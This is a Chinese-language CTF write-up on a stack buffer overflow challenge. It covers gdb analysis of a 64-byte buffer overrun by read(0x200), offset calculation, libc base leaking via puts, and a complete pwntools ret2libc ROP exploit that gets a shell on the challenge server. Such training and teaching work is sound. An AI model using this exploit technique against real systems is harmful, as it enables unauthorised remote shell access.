下载附件并通过gdb进行分析：

查看main函数： 可以看到地址0x402016是main开始的位置，而0x40202b是main结束的位置，并且调用了vuln函数

查看vuln函数： 可以看到程序通过打印Input something: 提示用户进行内容输入。汇编中mov edx,0x200将read的读取长度设置为 0x200（512 字节），随后call 0x401090 <read@plt>调用read从标准输入读取数据到栈缓冲区

通过对栈帧结构分析：函数开头push rbp保存的旧 rbp 占 8 字节，后续mov rbp,rsp建立新栈帧，sub rsp,0x40为局部变量分配了 0x40（64 字节）的栈缓冲区。因此，从缓冲区起始到返回地址的偏移量为 0x40 + 8 = 0x48（72 字节）

很明显，read允许读取的 512 字节远大于缓冲区本身的 64 字节，输入数据会溢出缓冲区，依次覆盖旧 rbp，最终覆盖到函数的返回地址

从缓冲区起始到返回地址的偏移量也可以通过如下方式进行判断

cyclic构造payload并发送： 可以看到通过cyclic验证偏移量确实是72字节

通过got命令查询GOT表中已经加载的任意函数在内存中的绝对地址： 以puts为例，puts在内存中的绝对地址是0x7ffff7c80e50

通过vmmap查询 puts 绝对地址所属的文件范围，找到该程序依赖的libc文件： 可以看到已经拿到了该程序依赖的libc文件

在该libc文件中查询puts函数的偏移地址：

1
gdb -q /usr/lib/x86_64-linux-gnu/libc.so.6
2
p puts

拿到puts函数的偏移地址：0x80e50，所以相减即可得到基地址：0x7ffff7c00000

获取system和/bin/sh的偏移：

1
objdump -d /usr/lib/x86_64-linux-gnu/libc.so.6 | grep "__libc_system"
2
strings -a -t x /usr/lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"

通过偏移不难算出绝对地址：system：0x7ffff7c50d70、/bin/sh：0x7ffff7dd8678

获取pop rdi地址：

1
ROPgadget --binary ./pwn | grep "pop rdi"

注意：获取pop rdi; ret地址的目的是为了在64位程序里通过ROP链调用libc函数（如system）时，能够正确设置第一个参数。因为64位调用约定使用寄存器传参，第一个参数必须放在rdi中，而pop rdi; ret这个gadget可以让我们从栈上弹出一个值（比如字符串/bin/sh的地址）存入rdi，然后执行ret继续下一条ROP指令，从而顺利调用system("/bin/sh")获取shell

EXP：

1
from pwn import *
2

3
padding = 0x48
4
pop_rdi_ret = 0x40119e
5
ret_addr = 0x40101a
6

7
p = remote("nc1.ctfplus.cn", 38170)
8
# p = process("./pwn")
9
elf = ELF("./pwn")
10
libc = ELF("./libc.so.6")
11

12

13
p.recvuntil(b"Input something: ")
14
hello = b"A"*padding + p64(pop_rdi_ret) + p64(elf.got.puts) + p64(elf.plt.puts) + p64(elf.sym.main)
15
p.send(hello)
16

17

18
p.recv(padding)
19
puts = u64(p.recv(6).ljust(8, b"\x00"))
20

21

22
libc_base = puts - libc.sym.puts
23
system = libc_base + libc.sym.system
24
binsh = libc_base + next(libc.search(b"/bin/sh"))
25

26

27
p.recvuntil(b"Input something: ")
28
payload = b"A"*padding + p64(pop_rdi_ret) + p64(binsh) + p64(ret_addr) + p64(system)
29
p.send(payload)
30

31
p.interactive()